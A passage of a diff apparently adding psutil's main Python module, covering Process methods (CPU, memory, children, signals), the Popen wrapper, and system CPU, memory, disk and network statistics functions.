ZombieProcess: + # Let's consider a zombie process as legitimate as + # tehcnically it's still alive (it can be queried, + # although not always, and it's returned by pids()). + pass + except NoSuchProcess: + if not _ignore_nsp: + msg = 'no process found with pid %s' % pid + raise NoSuchProcess(pid, None, msg) + else: + self._gone = True + # This pair is supposed to indentify a Process instance + # univocally over time (the PID alone is not enough as + # it might refer to a process whose PID has been reused). + # This will be used later in __eq__() and is_running(). + self._ident = (self.pid, self._create_time) + + def __str__(self): + try: + pid = self.pid + name = repr(self.name()) + except ZombieProcess: + details = "(pid=%s (zombie))" % self.pid + except NoSuchProcess: + details = "(pid=%s (terminated))" % self.pid + except AccessDenied: + details = "(pid=%s)" % (self.pid) + else: + details = "(pid=%s, name=%s)" % (pid, name) + return "%s.%s%s" % (self.__class__.__module__, + self.__class__.__name__, details) + + def __repr__(self): + return "<%s at %s>" % (self.__str__(), id(self)) + + def __eq__(self, other): + # Test for equality with another Process object based + # on PID and creation time. + if not isinstance(other, Process): + return NotImplemented + return self._ident == other._ident + + def __ne__(self, other): + return not self == other + + def __hash__(self): + if self._hash is None: + self._hash = hash(self._ident) + return self._hash + + # --- utility methods + + def as_dict(self, attrs=None, ad_value=None): + """Utility method returning process information as a + hashable dictionary. + + If 'attrs' is specified it must be a list of strings + reflecting available Process class' attribute names + (e.g. ['cpu_times', 'name']) else all public (read + only) attributes are assumed. + + 'ad_value' is the value which gets assigned in case + AccessDenied or ZombieProcess exception is raised when + retrieving that particular process information. + """ + excluded_names = set( + ['send_signal', 'suspend', 'resume', 'terminate', 'kill', 'wait', + 'is_running', 'as_dict', 'parent', 'children', 'rlimit']) + retdict = dict() + ls = set(attrs or [x for x in dir(self)]) + for name in ls: + if name.startswith('_'): + continue + if name in excluded_names: + continue + try: + attr = getattr(self, name) + if callable(attr): + ret = attr() + else: + ret = attr + except (AccessDenied, ZombieProcess): + ret = ad_value + except NotImplementedError: + # in case of not implemented functionality (may happen + # on old or exotic systems) we want to crash only if + # the user explicitly asked for that particular attr + if attrs: + raise + continue + retdict[name] = ret + return retdict + + def parent(self): + """Return the parent process as a Process object pre-emptively + checking whether PID has been reused. + If no parent is known return None. + """ + ppid = self.ppid() + if ppid is not None: + ctime = self.create_time() + try: + parent = Process(ppid) + if parent.create_time() <= ctime: + return parent + # ...else ppid has been reused by another process + except NoSuchProcess: + pass + + def is_running(self): + """Return whether this process is running. + It also checks if PID has been reused by another process in + which case return False. + """ + if self._gone: + return False + try: + # Checking if PID is alive is not enough as the PID might + # have been reused by another process: we also want to + # verify process identity. + # Process identity / uniqueness over time is guaranteed by + # (PID + creation time) and that is verified in __eq__. + return self == Process(self.pid) + except NoSuchProcess: + self._gone = True + return False + + # --- actual API + + @property + def pid(self): + """The process PID.""" + return self._pid + + def ppid(self): + """The process parent PID. + On Windows the return value is cached after first call. + """ + # On POSIX we don't want to cache the ppid as it may unexpectedly + # change to 1 (init) in case this process turns into a zombie: + # https://github.com/giampaolo/psutil/issues/321 + # http://stackoverflow.com/questions/356722/ + + # XXX should we check creation time here rather than in + # Process.parent()? + if _POSIX: + return self._proc.ppid() + else: + self._ppid = self._ppid or self._proc.ppid() + return self._ppid + + def name(self): + """The process name. The return value is cached after first call.""" + if self._name is None: + name = self._proc.name() + if _POSIX and len(name) >= 15: + # On UNIX the name gets truncated to the first 15 characters. + # If it matches the first part of the cmdline we return that + # one instead because it's usually more explicative. + # Examples are "gnome-keyring-d" vs. "gnome-keyring-daemon". + try: + cmdline = self.cmdline() + except AccessDenied: + pass + else: + if cmdline: + extended_name = os.path.basename(cmdline[0]) + if extended_name.startswith(name): + name = extended_name + self._proc._name = name + self._name = name + return self._name + + def exe(self): + """The process executable as an absolute path. + May also be an empty string. + The return value is cached after first call. + """ + def guess_it(fallback): + # try to guess exe from cmdline[0] in absence of a native + # exe representation + cmdline = self.cmdline() + if cmdline and hasattr(os, 'access') and hasattr(os, 'X_OK'): + exe = cmdline[0] # the possible exe + # Attempt to guess only in case of an absolute path. + # It is not safe otherwise as the process might have + # changed cwd. + if (os.path.isabs(exe) and + os.path.isfile(exe) and + os.access(exe, os.X_OK)): + return exe + if isinstance(fallback, AccessDenied): + raise fallback + return fallback + + if self._exe is None: + try: + exe = self._proc.exe() + except AccessDenied as err: + return guess_it(fallback=err) + else: + if not exe: + # underlying implementation can legitimately return an + # empty string; if that's the case we don't want to + # raise AD while guessing from the cmdline + try: + exe = guess_it(fallback=exe) + except AccessDenied: + pass + self._exe = exe + return self._exe + + def cmdline(self): + """The command line this process has been called with.""" + return self._proc.cmdline() + + def status(self): + """The process current status as a STATUS_* constant.""" + try: + return self._proc.status() + except ZombieProcess: + return STATUS_ZOMBIE + + def username(self): + """The name of the user that owns the process. + On UNIX this is calculated by using *real* process uid. + """ + if _POSIX: + if pwd is None: + # might happen if python was installed from sources + raise ImportError( + "requires pwd module shipped with standard python") + real_uid = self.uids().real + try: + return pwd.getpwuid(real_uid).pw_name + except KeyError: + # the uid can't be resolved by the system + return str(real_uid) + else: + return self._proc.username() + + def create_time(self): + """The process creation time as a floating point number + expressed in seconds since the epoch, in UTC. + The return value is cached after first call. + """ + if self._create_time is None: + self._create_time = self._proc.create_time() + return self._create_time + + def cwd(self): + """Process current working directory as an absolute path.""" + return self._proc.cwd() + + def nice(self, value=None): + """Get or set process niceness (priority).""" + if value is None: + return self._proc.nice_get() + else: + if not self.is_running(): + raise NoSuchProcess(self.pid, self._name) + self._proc.nice_set(value) + + if _POSIX: + + def uids(self): + """Return process UIDs as a (real, effective, saved) + namedtuple. + """ + return self._proc.uids() + + def gids(self): + """Return process GIDs as a (real, effective, saved) + namedtuple. + """ + return self._proc.gids() + + def terminal(self): + """The terminal associated with this process, if any, + else None. + """ + return self._proc.terminal() + + def num_fds(self): + """Return the number of file descriptors opened by this + process (POSIX only). + """ + return self._proc.num_fds() + + # Linux, BSD and Windows only + if hasattr(_psplatform.Process, "io_counters"): + + def io_counters(self): + """Return process I/O statistics as a + (read_count, write_count, read_bytes, write_bytes) + namedtuple. + Those are the number of read/write calls performed and the + amount of bytes read and written by the process. + """ + return self._proc.io_counters() + + # Linux and Windows >= Vista only + if hasattr(_psplatform.Process, "ionice_get"): + + def ionice(self, ioclass=None, value=None): + """Get or set process I/O niceness (priority). + + On Linux 'ioclass' is one of the IOPRIO_CLASS_* constants. + 'value' is a number which goes from 0 to 7. The higher the + value, the lower the I/O priority of the process. + + On Windows only 'ioclass' is used and it can be set to 2 + (normal), 1 (low) or 0 (very low). + + Available on Linux and Windows > Vista only. + """ + if ioclass is None: + if value is not None: + raise ValueError("'ioclass' argument must be specified") + return self._proc.ionice_get() + else: + return self._proc.ionice_set(ioclass, value) + + # Linux only + if hasattr(_psplatform.Process, "rlimit"): + + def rlimit(self, resource, limits=None): + """Get or set process resource limits as a (soft, hard) + tuple. + + 'resource' is one of the RLIMIT_* constants. + 'limits' is supposed to be a (soft, hard) tuple. + + See "man prlimit" for further info. + Available on Linux only. + """ + if limits is None: + return self._proc.rlimit(resource) + else: + return self._proc.rlimit(resource, limits) + + # Windows, Linux and BSD only + if hasattr(_psplatform.Process, "cpu_affinity_get"): + + def cpu_affinity(self, cpus=None): + """Get or set process CPU affinity. + If specified 'cpus' must be a list of CPUs for which you + want to set the affinity (e.g. [0, 1]). + (Windows, Linux and BSD only). + """ + # Automatically remove duplicates both on get and + # set (for get it's not really necessary, it's + # just for extra safety). + if cpus is None: + return list(set(self._proc.cpu_affinity_get())) + else: + self._proc.cpu_affinity_set(list(set(cpus))) + + if _WINDOWS: + + def num_handles(self): + """Return the number of handles opened by this process + (Windows only). + """ + return self._proc.num_handles() + + def num_ctx_switches(self): + """Return the number of voluntary and involuntary context + switches performed by this process. + """ + return self._proc.num_ctx_switches() + + def num_threads(self): + """Return the number of threads used by this process.""" + return self._proc.num_threads() + + def threads(self): + """Return threads opened by process as a list of + (id, user_time, system_time) namedtuples representing + thread id and thread CPU times (user/system). + """ + return self._proc.threads() + + @_assert_pid_not_reused + def children(self, recursive=False): + """Return the children of this process as a list of Process + instances, pre-emptively checking whether PID has been reused. + If recursive is True return all the parent descendants. + + Example (A == this process): + + A ─┐ + │ + ├─ B (child) ─┐ + │ └─ X (grandchild) ─┐ + │ └─ Y (great grandchild) + ├─ C (child) + └─ D (child) + + >>> import psutil + >>> p = psutil.Process() + >>> p.children() + B, C, D + >>> p.children(recursive=True) + B, X, Y, C, D + + Note that in the example above if process X disappears + process Y won't be listed as the reference to process A + is lost. + """ + if hasattr(_psplatform, 'ppid_map'): + # Windows only: obtain a {pid:ppid, ...} dict for all running + # processes in one shot (faster). + ppid_map = _psplatform.ppid_map() + else: + ppid_map = None + + ret = [] + if not recursive: + if ppid_map is None: + # 'slow' version, common to all platforms except Windows + for p in process_iter(): + try: + if p.ppid() == self.pid: + # if child happens to be older than its parent + # (self) it means child's PID has been reused + if self.create_time() <= p.create_time(): + ret.append(p) + except (NoSuchProcess, ZombieProcess): + pass + else: + # Windows only (faster) + for pid, ppid in ppid_map.items(): + if ppid == self.pid: + try: + child = Process(pid) + # if child happens to be older than its parent + # (self) it means child's PID has been reused + if self.create_time() <= child.create_time(): + ret.append(child) + except (NoSuchProcess, ZombieProcess): + pass + else: + # construct a dict where 'values' are all the processes + # having 'key' as their parent + table = collections.defaultdict(list) + if ppid_map is None: + for p in process_iter(): + try: + table[p.ppid()].append(p) + except (NoSuchProcess, ZombieProcess): + pass + else: + for pid, ppid in ppid_map.items(): + try: + p = Process(pid) + table[ppid].append(p) + except (NoSuchProcess, ZombieProcess): + pass + # At this point we have a mapping table where table[self.pid] + # are the current process' children. + # Below, we look for all descendants recursively, similarly + # to a recursive function call. + checkpids = [self.pid] + for pid in checkpids: + for child in table[pid]: + try: + # if child happens to be older than its parent + # (self) it means child's PID has been reused + intime = self.create_time() <= child.create_time() + except (NoSuchProcess, ZombieProcess): + pass + else: + if intime: + ret.append(child) + if child.pid not in checkpids: + checkpids.append(child.pid) + return ret + + def cpu_percent(self, interval=None): + """Return a float representing the current process CPU + utilization as a percentage. + + When interval is 0.0 or None (default) compares process times + to system CPU times elapsed since last call, returning + immediately (non-blocking). That means that the first time + this is called it will return a meaningful 0.0 value. + + When interval is > 0.0 compares process times to system CPU + times elapsed before and after the interval (blocking). + + In this case is recommended for accuracy that this function + be called with at least 0.1 seconds between calls. + + Examples: + + >>> import psutil + >>> p = psutil.Process(os.getpid()) + >>> # blocking + >>> p.cpu_percent(interval=1) + 2.0 + >>> # non-blocking (percentage since last call) + >>> p.cpu_percent(interval=None) + 2.9 + >>> + """ + blocking = interval is not None and interval > 0.0 + num_cpus = cpu_count() + if _POSIX: + def timer(): + return _timer() * num_cpus + else: + def timer(): + return sum(cpu_times()) + if blocking: + st1 = timer() + pt1 = self._proc.cpu_times() + time.sleep(interval) + st2 = timer() + pt2 = self._proc.cpu_times() + else: + st1 = self._last_sys_cpu_times + pt1 = self._last_proc_cpu_times + st2 = timer() + pt2 = self._proc.cpu_times() + if st1 is None or pt1 is None: + self._last_sys_cpu_times = st2 + self._last_proc_cpu_times = pt2 + return 0.0 + + delta_proc = (pt2.user - pt1.user) + (pt2.system - pt1.system) + delta_time = st2 - st1 + # reset values for next call in case of interval == None + self._last_sys_cpu_times = st2 + self._last_proc_cpu_times = pt2 + + try: + # The utilization split between all CPUs. + # Note: a percentage > 100 is legitimate as it can result + # from a process with multiple threads running on different + # CPU cores, see: + # http://stackoverflow.com/questions/1032357 + # https://github.com/giampaolo/psutil/issues/474 + overall_percent = ((delta_proc / delta_time) * 100) * num_cpus + except ZeroDivisionError: + # interval was too low + return 0.0 + else: + return round(overall_percent, 1) + + def cpu_times(self): + """Return a (user, system) namedtuple representing the + accumulated process time, in seconds. + This is the same as os.times() but per-process. + """ + return self._proc.cpu_times() + + def memory_info(self): + """Return a tuple representing RSS (Resident Set Size) and VMS + (Virtual Memory Size) in bytes. + + On UNIX RSS and VMS are the same values shown by 'ps'. + + On Windows RSS and VMS refer to "Mem Usage" and "VM Size" + columns of taskmgr.exe. + """ + return self._proc.memory_info() + + def memory_info_ex(self): + """Return a namedtuple with variable fields depending on the + platform representing extended memory information about + this process. All numbers are expressed in bytes. + """ + return self._proc.memory_info_ex() + + def memory_percent(self): + """Compare physical system memory to process resident memory + (RSS) and calculate process memory utilization as a percentage. + """ + rss = self._proc.memory_info()[0] + # use cached value if available + total_phymem = _TOTAL_PHYMEM or virtual_memory().total + try: + return (rss / float(total_phymem)) * 100 + except ZeroDivisionError: + return 0.0 + + def memory_maps(self, grouped=True): + """Return process' mapped memory regions as a list of namedtuples + whose fields are variable depending on the platform. + + If 'grouped' is True the mapped regions with the same 'path' + are grouped together and the different memory fields are summed. + + If 'grouped' is False every mapped region is shown as a single + entity and the namedtuple will also include the mapped region's + address space ('addr') and permission set ('perms'). + """ + it = self._proc.memory_maps() + if grouped: + d = {} + for tupl in it: + path = tupl[2] + nums = tupl[3:] + try: + d[path] = map(lambda x, y: x + y, d[path], nums) + except KeyError: + d[path] = nums + nt = _psplatform.pmmap_grouped + return [nt(path, *d[path]) for path in d] # NOQA + else: + nt = _psplatform.pmmap_ext + return [nt(*x) for x in it] + + def open_files(self): + """Return files opened by process as a list of + (path, fd) namedtuples including the absolute file name + and file descriptor number. + """ + return self._proc.open_files() + + def connections(self, kind='inet'): + """Return connections opened by process as a list of + (fd, family, type, laddr, raddr, status) namedtuples. + The 'kind' parameter filters for connections that match the + following criteria: + + Kind Value Connections using + inet IPv4 and IPv6 + inet4 IPv4 + inet6 IPv6 + tcp TCP + tcp4 TCP over IPv4 + tcp6 TCP over IPv6 + udp UDP + udp4 UDP over IPv4 + udp6 UDP over IPv6 + unix UNIX socket (both UDP and TCP protocols) + all the sum of all the possible families and protocols + """ + return self._proc.connections(kind) + + if _POSIX: + def _send_signal(self, sig): + if self.pid == 0: + # see "man 2 kill" + raise ValueError( + "preventing sending signal to process with PID 0 as it " + "would affect every process in the process group of the " + "calling process (os.getpid()) instead of PID 0") + try: + os.kill(self.pid, sig) + except OSError as err: + if err.errno == errno.ESRCH: + self._gone = True + raise NoSuchProcess(self.pid, self._name) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + + @_assert_pid_not_reused + def send_signal(self, sig): + """Send a signal to process pre-emptively checking whether + PID has been reused (see signal module constants) . + On Windows only SIGTERM is valid and is treated as an alias + for kill(). + """ + if _POSIX: + self._send_signal(sig) + else: + if sig == signal.SIGTERM: + self._proc.kill() + # py >= 2.7 + elif sig in (getattr(signal, "CTRL_C_EVENT", object()), + getattr(signal, "CTRL_BREAK_EVENT", object())): + self._proc.send_signal(sig) + else: + raise ValueError( + "only SIGTERM, CTRL_C_EVENT and CTRL_BREAK_EVENT signals " + "are supported on Windows") + + @_assert_pid_not_reused + def suspend(self): + """Suspend process execution with SIGSTOP pre-emptively checking + whether PID has been reused. + On Windows this has the effect ot suspending all process threads. + """ + if _POSIX: + self._send_signal(signal.SIGSTOP) + else: + self._proc.suspend() + + @_assert_pid_not_reused + def resume(self): + """Resume process execution with SIGCONT pre-emptively checking + whether PID has been reused. + On Windows this has the effect of resuming all process threads. + """ + if _POSIX: + self._send_signal(signal.SIGCONT) + else: + self._proc.resume() + + @_assert_pid_not_reused + def terminate(self): + """Terminate the process with SIGTERM pre-emptively checking + whether PID has been reused. + On Windows this is an alias for kill(). + """ + if _POSIX: + self._send_signal(signal.SIGTERM) + else: + self._proc.kill() + + @_assert_pid_not_reused + def kill(self): + """Kill the current process with SIGKILL pre-emptively checking + whether PID has been reused. + """ + if _POSIX: + self._send_signal(signal.SIGKILL) + else: + self._proc.kill() + + def wait(self, timeout=None): + """Wait for process to terminate and, if process is a children + of os.getpid(), also return its exit code, else None. + + If the process is already terminated immediately return None + instead of raising NoSuchProcess. + + If timeout (in seconds) is specified and process is still alive + raise TimeoutExpired. + + To wait for multiple Process(es) use psutil.wait_procs(). + """ + if timeout is not None and not timeout >= 0: + raise ValueError("timeout must be a positive integer") + return self._proc.wait(timeout) + + +# ===================================================================== +# --- Popen class +# ===================================================================== + + +class Popen(Process): + """A more convenient interface to stdlib subprocess module. + It starts a sub process and deals with it exactly as when using + subprocess.Popen class but in addition also provides all the + properties and methods of psutil.Process class as a unified + interface: + + >>> import psutil + >>> from subprocess import PIPE + >>> p = psutil.Popen(["python", "-c", "print 'hi'"], stdout=PIPE) + >>> p.name() + 'python' + >>> p.uids() + user(real=1000, effective=1000, saved=1000) + >>> p.username() + 'giampaolo' + >>> p.communicate() + ('hi\n', None) + >>> p.terminate() + >>> p.wait(timeout=2) + 0 + >>> + + For method names common to both classes such as kill(), terminate() + and wait(), psutil.Process implementation takes precedence. + + Unlike subprocess.Popen this class pre-emptively checks wheter PID + has been reused on send_signal(), terminate() and kill() so that + you don't accidentally terminate another process, fixing + http://bugs.python.org/issue6973. + + For a complete documentation refer to: + http://docs.python.org/library/subprocess.html + """ + + def __init__(self, *args, **kwargs): + # Explicitly avoid to raise NoSuchProcess in case the process + # spawned by subprocess.Popen terminates too quickly, see: + # https://github.com/giampaolo/psutil/issues/193 + self.__subproc = subprocess.Popen(*args, **kwargs) + self._init(self.__subproc.pid, _ignore_nsp=True) + + def __dir__(self): + return sorted(set(dir(Popen) + dir(subprocess.Popen))) + + def __getattribute__(self, name): + try: + return object.__getattribute__(self, name) + except AttributeError: + try: + return object.__getattribute__(self.__subproc, name) + except AttributeError: + raise AttributeError("%s instance has no attribute '%s'" + % (self.__class__.__name__, name)) + + def wait(self, timeout=None): + if self.__subproc.returncode is not None: + return self.__subproc.returncode + ret = super(Popen, self).wait(timeout) + self.__subproc.returncode = ret + return ret + + +# ===================================================================== +# --- system processes related functions +# ===================================================================== + + +def pids(): + """Return a list of current running PIDs.""" + return _psplatform.pids() + + +def pid_exists(pid): + """Return True if given PID exists in the current process list. + This is faster than doing "pid in psutil.pids()" and + should be preferred. + """ + if pid < 0: + return False + elif pid == 0 and _POSIX: + # On POSIX we use os.kill() to determine PID existence. + # According to "man 2 kill" PID 0 has a special meaning + # though: it refers to <> and that is not we want + # to do here. + return pid in pids() + else: + return _psplatform.pid_exists(pid) + + +_pmap = {} + + +def process_iter(): + """Return a generator yielding a Process instance for all + running processes. + + Every new Process instance is only created once and then cached + into an internal table which is updated every time this is used. + + Cached Process instances are checked for identity so that you're + safe in case a PID has been reused by another process, in which + case the cached instance is updated. + + The sorting order in which processes are yielded is based on + their PIDs. + """ + def add(pid): + proc = Process(pid) + _pmap[proc.pid] = proc + return proc + + def remove(pid): + _pmap.pop(pid, None) + + a = set(pids()) + b = set(_pmap.keys()) + new_pids = a - b + gone_pids = b - a + + for pid in gone_pids: + remove(pid) + for pid, proc in sorted(list(_pmap.items()) + + list(dict.fromkeys(new_pids).items())): + try: + if proc is None: # new process + yield add(pid) + else: + # use is_running() to check whether PID has been reused by + # another process in which case yield a new Process instance + if proc.is_running(): + yield proc + else: + yield add(pid) + except NoSuchProcess: + remove(pid) + except AccessDenied: + # Process creation time can't be determined hence there's + # no way to tell whether the pid of the cached process + # has been reused. Just return the cached version. + if proc is None and pid in _pmap: + yield _pmap[pid] + else: + raise + + +def wait_procs(procs, timeout=None, callback=None): + """Convenience function which waits for a list of processes to + terminate. + + Return a (gone, alive) tuple indicating which processes + are gone and which ones are still alive. + + The gone ones will have a new 'returncode' attribute indicating + process exit status (may be None). + + 'callback' is a function which gets called every time a process + terminates (a Process instance is passed as callback argument). + + Function will return as soon as all processes terminate or when + timeout occurs. + + Typical use case is: + + - send SIGTERM to a list of processes + - give them some time to terminate + - send SIGKILL to those ones which are still alive + + Example: + + >>> def on_terminate(proc): + ... print("process {} terminated".format(proc)) + ... + >>> for p in procs: + ... p.terminate() + ... + >>> gone, alive = wait_procs(procs, timeout=3, callback=on_terminate) + >>> for p in alive: + ... p.kill() + """ + def check_gone(proc, timeout): + try: + returncode = proc.wait(timeout=timeout) + except TimeoutExpired: + pass + else: + if returncode is not None or not proc.is_running(): + proc.returncode = returncode + gone.add(proc) + if callback is not None: + callback(proc) + + if timeout is not None and not timeout >= 0: + msg = "timeout must be a positive integer, got %s" % timeout + raise ValueError(msg) + gone = set() + alive = set(procs) + if callback is not None and not callable(callback): + raise TypeError("callback %r is not a callable" % callable) + if timeout is not None: + deadline = _timer() + timeout + + while alive: + if timeout is not None and timeout <= 0: + break + for proc in alive: + # Make sure that every complete iteration (all processes) + # will last max 1 sec. + # We do this because we don't want to wait too long on a + # single process: in case it terminates too late other + # processes may disappear in the meantime and their PID + # reused. + max_timeout = 1.0 / len(alive) + if timeout is not None: + timeout = min((deadline - _timer()), max_timeout) + if timeout <= 0: + break + check_gone(proc, timeout) + else: + check_gone(proc, max_timeout) + alive = alive - gone + + if alive: + # Last attempt over processes survived so far. + # timeout == 0 won't make this function wait any further. + for proc in alive: + check_gone(proc, 0) + alive = alive - gone + + return (list(gone), list(alive)) + + +# ===================================================================== +# --- CPU related functions +# ===================================================================== + + +@memoize +def cpu_count(logical=True): + """Return the number of logical CPUs in the system (same as + os.cpu_count() in Python 3.4). + + If logical is False return the number of physical cores only + (e.g. hyper thread CPUs are excluded). + + Return None if undetermined. + + The return value is cached after first call. + If desired cache can be cleared like this: + + >>> psutil.cpu_count.cache_clear() + """ + if logical: + return _psplatform.cpu_count_logical() + else: + return _psplatform.cpu_count_physical() + + +def cpu_times(percpu=False): + """Return system-wide CPU times as a namedtuple. + Every CPU time represents the seconds the CPU has spent in the given mode. + The namedtuple's fields availability varies depending on the platform: + - user + - system + - idle + - nice (UNIX) + - iowait (Linux) + - irq (Linux, FreeBSD) + - softirq (Linux) + - steal (Linux >= 2.6.11) + - guest (Linux >= 2.6.24) + - guest_nice (Linux >= 3.2.0) + + When percpu is True return a list of namedtuples for each CPU. + First element of the list refers to first CPU, second element + to second CPU and so on. + The order of the list is consistent across calls. + """ + if not percpu: + return _psplatform.cpu_times() + else: + return _psplatform.per_cpu_times() + + +_last_cpu_times = cpu_times() +_last_per_cpu_times = cpu_times(percpu=True) + + +def cpu_percent(interval=None, percpu=False): + """Return a float representing the current system-wide CPU + utilization as a percentage. + + When interval is > 0.0 compares system CPU times elapsed before + and after the interval (blocking). + + When interval is 0.0 or None compares system CPU times elapsed + since last call or module import, returning immediately (non + blocking). That means the first time this is called it will + return a meaningless 0.0 value which you should ignore. + In this case is recommended for accuracy that this function be + called with at least 0.1 seconds between calls. + + When percpu is True returns a list of floats representing the + utilization as a percentage for each CPU. + First element of the list refers to first CPU, second element + to second CPU and so on. + The order of the list is consistent across calls. + + Examples: + + >>> # blocking, system-wide + >>> psutil.cpu_percent(interval=1) + 2.0 + >>> + >>> # blocking, per-cpu + >>> psutil.cpu_percent(interval=1, percpu=True) + [2.0, 1.0] + >>> + >>> # non-blocking (percentage since last call) + >>> psutil.cpu_percent(interval=None) + 2.9 + >>> + """ + global _last_cpu_times + global _last_per_cpu_times + blocking = interval is not None and interval > 0.0 + + def calculate(t1, t2): + t1_all = sum(t1) + t1_busy = t1_all - t1.idle + + t2_all = sum(t2) + t2_busy = t2_all - t2.idle + + # this usually indicates a float precision issue + if t2_busy <= t1_busy: + return 0.0 + + busy_delta = t2_busy - t1_busy + all_delta = t2_all - t1_all + busy_perc = (busy_delta / all_delta) * 100 + return round(busy_perc, 1) + + # system-wide usage + if not percpu: + if blocking: + t1 = cpu_times() + time.sleep(interval) + else: + t1 = _last_cpu_times + _last_cpu_times = cpu_times() + return calculate(t1, _last_cpu_times) + # per-cpu usage + else: + ret = [] + if blocking: + tot1 = cpu_times(percpu=True) + time.sleep(interval) + else: + tot1 = _last_per_cpu_times + _last_per_cpu_times = cpu_times(percpu=True) + for t1, t2 in zip(tot1, _last_per_cpu_times): + ret.append(calculate(t1, t2)) + return ret + + +# Use separate global vars for cpu_times_percent() so that it's +# independent from cpu_percent() and they can both be used within +# the same program. +_last_cpu_times_2 = _last_cpu_times +_last_per_cpu_times_2 = _last_per_cpu_times + + +def cpu_times_percent(interval=None, percpu=False): + """Same as cpu_percent() but provides utilization percentages + for each specific CPU time as is returned by cpu_times(). + For instance, on Linux we'll get: + + >>> cpu_times_percent() + cpupercent(user=4.8, nice=0.0, system=4.8, idle=90.5, iowait=0.0, + irq=0.0, softirq=0.0, steal=0.0, guest=0.0, guest_nice=0.0) + >>> + + interval and percpu arguments have the same meaning as in + cpu_percent(). + """ + global _last_cpu_times_2 + global _last_per_cpu_times_2 + blocking = interval is not None and interval > 0.0 + + def calculate(t1, t2): + nums = [] + all_delta = sum(t2) - sum(t1) + for field in t1._fields: + field_delta = getattr(t2, field) - getattr(t1, field) + try: + field_perc = (100 * field_delta) / all_delta + except ZeroDivisionError: + field_perc = 0.0 + field_perc = round(field_perc, 1) + # CPU times are always supposed to increase over time + # or at least remain the same and that's because time + # cannot go backwards. + # Surprisingly sometimes this might not be the case (at + # least on Windows and Linux), see: + # https://github.com/giampaolo/psutil/issues/392 + # https://github.com/giampaolo/psutil/issues/645 + # I really don't know what to do about that except + # forcing the value to 0 or 100. + if field_perc > 100.0: + field_perc = 100.0 + # `<=` because `-0.0 == 0.0` evaluates to True + elif field_perc <= 0.0: + field_perc = 0.0 + nums.append(field_perc) + return _psplatform.scputimes(*nums) + + # system-wide usage + if not percpu: + if blocking: + t1 = cpu_times() + time.sleep(interval) + else: + t1 = _last_cpu_times_2 + _last_cpu_times_2 = cpu_times() + return calculate(t1, _last_cpu_times_2) + # per-cpu usage + else: + ret = [] + if blocking: + tot1 = cpu_times(percpu=True) + time.sleep(interval) + else: + tot1 = _last_per_cpu_times_2 + _last_per_cpu_times_2 = cpu_times(percpu=True) + for t1, t2 in zip(tot1, _last_per_cpu_times_2): + ret.append(calculate(t1, t2)) + return ret + + +# ===================================================================== +# --- system memory related functions +# ===================================================================== + + +def virtual_memory(): + """Return statistics about system memory usage as a namedtuple + including the following fields, expressed in bytes: + + - total: + total physical memory available. + + - available: + the actual amount of available memory that can be given + instantly to processes that request more memory in bytes; this + is calculated by summing different memory values depending on + the platform (e.g. free + buffers + cached on Linux) and it is + supposed to be used to monitor actual memory usage in a cross + platform fashion. + + - percent: + the percentage usage calculated as (total - available) / total * 100 + + - used: + memory used, calculated differently depending on the platform and + designed for informational purposes only: + OSX: active + inactive + wired + BSD: active + wired + cached + LINUX: total - free + + - free: + memory not being used at all (zeroed) that is readily available; + note that this doesn't reflect the actual memory available + (use 'available' instead) + + Platform-specific fields: + + - active (UNIX): + memory currently in use or very recently used, and so it is in RAM. + + - inactive (UNIX): + memory that is marked as not used. + + - buffers (BSD, Linux): + cache for things like file system metadata. + + - cached (BSD, OSX): + cache for various things. + + - wired (OSX, BSD): + memory that is marked to always stay in RAM. It is never moved to disk. + + - shared (BSD): + memory that may be simultaneously accessed by multiple processes. + + The sum of 'used' and 'available' does not necessarily equal total. + On Windows 'available' and 'free' are the same. + """ + global _TOTAL_PHYMEM + ret = _psplatform.virtual_memory() + # cached for later use in Process.memory_percent() + _TOTAL_PHYMEM = ret.total + return ret + + +def swap_memory(): + """Return system swap memory statistics as a namedtuple including + the following fields: + + - total: total swap memory in bytes + - used: used swap memory in bytes + - free: free swap memory in bytes + - percent: the percentage usage + - sin: no. of bytes the system has swapped in from disk (cumulative) + - sout: no. of bytes the system has swapped out from disk (cumulative) + + 'sin' and 'sout' on Windows are meaningless and always set to 0. + """ + return _psplatform.swap_memory() + + +# ===================================================================== +# --- disks/paritions related functions +# ===================================================================== + + +def disk_usage(path): + """Return disk usage statistics about the given path as a namedtuple + including total, used and free space expressed in bytes plus the + percentage usage. + """ + return _psplatform.disk_usage(path) + + +def disk_partitions(all=False): + """Return mounted partitions as a list of + (device, mountpoint, fstype, opts) namedtuple. + 'opts' field is a raw string separated by commas indicating mount + options which may vary depending on the platform. + + If "all" parameter is False return physical devices only and ignore + all others. + """ + return _psplatform.disk_partitions(all) + + +def disk_io_counters(perdisk=False): + """Return system disk I/O statistics as a namedtuple including + the following fields: + + - read_count: number of reads + - write_count: number of writes + - read_bytes: number of bytes read + - write_bytes: number of bytes written + - read_time: time spent reading from disk (in milliseconds) + - write_time: time spent writing to disk (in milliseconds) + + If perdisk is True return the same information for every + physical disk installed on the system as a dictionary + with partition names as the keys and the namedtuple + described above as the values. + + On recent Windows versions 'diskperf -y' command may need to be + executed first otherwise this function won't find any disk. + """ + rawdict = _psplatform.disk_io_counters() + if not rawdict: + raise RuntimeError("couldn't find any physical disk") + if perdisk: + for disk, fields in rawdict.items(): + rawdict[disk] = _common.sdiskio(*fields) + return rawdict + else: + return _common.sdiskio(*[sum(x) for x in zip(*rawdict.values())]) + + +# ===================================================================== +# --- network related functions +# ===================================================================== + + +def net_io_counters(pernic=False): + """Return network I/O statistics as a namedtuple including + the following fields: + + - bytes_sent: number of bytes sent + - bytes_recv: number of bytes received + - packets_sent: number of packets sent + - packets_recv: number of packets received + - errin: total number of errors while receiving + - errout: total number of errors while sending + - dropin: total number of incoming packets which were dropped + - dropout: total number of outgoing packets which were dropped + (always 0 on OSX and BSD) + + If pernic is True return the same information for every + network interface installed on the system as a dictionary + with network interface names as the keys and the namedtuple + described above as the values. + """ + rawdict = _psplatform.net_io_counters() + if not rawdict: + raise RuntimeError("couldn't find any network interface") + if pernic: + for nic, fields in rawdict.items(): + rawdict[nic] = _common.snetio(*fields) + return rawdict + else: + return _common.snetio(*[sum(x) for x in zip(*rawdict.values())]) + + +def net_connections(kind='inet'): + """Return system-wide connections as a list of + (fd, family, type, laddr, raddr, status, pid) namedtuples. + In case of limited privileges 'fd' and 'pid' may be set to -1 + and None respectively. + The 'kind' parameter filters for connections that fit the + following criteria: + + Kind Value Connections using + inet IPv4 and IPv6 + inet4 IPv4 + inet6 IPv6 + tcp TCP + tcp4 TCP 